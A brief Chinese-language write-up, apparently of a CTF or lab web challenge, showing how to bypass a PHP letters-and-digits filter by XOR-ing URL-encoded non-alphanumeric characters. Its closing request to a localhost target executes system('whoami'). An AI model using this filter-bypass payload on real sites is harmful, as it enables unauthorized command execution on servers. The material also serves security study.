这串代码过滤了字母和数字。
php可以通过两个字符异或拼接出字母,这样就可以实现命令执行了。
写一段脚本看看哪些字符异或可以得到常见字母。
运行之后就得到了这些结果,我们只需要去找其中所需字母何其对应的url码。
var_dump(urldecode("%08%02%08%08%05%0d") ^ urldecode("%7b%7b%7b%7c%60%60"));
var_dump(urldecode("%08%08%0f%01%0d%09") ^ urldecode("%7f%60%60%60%60%60"));
现在只需要把其写进code中就行了。
http://127.0.0.1/web5.php?code=(%22%08%02%08%08%05%0d%22^%22%7b%7b%7b%7c%60%60%22)(%22%08%08%0f%01%0d%09%22^%22%7f%60%60%60%60%60%22);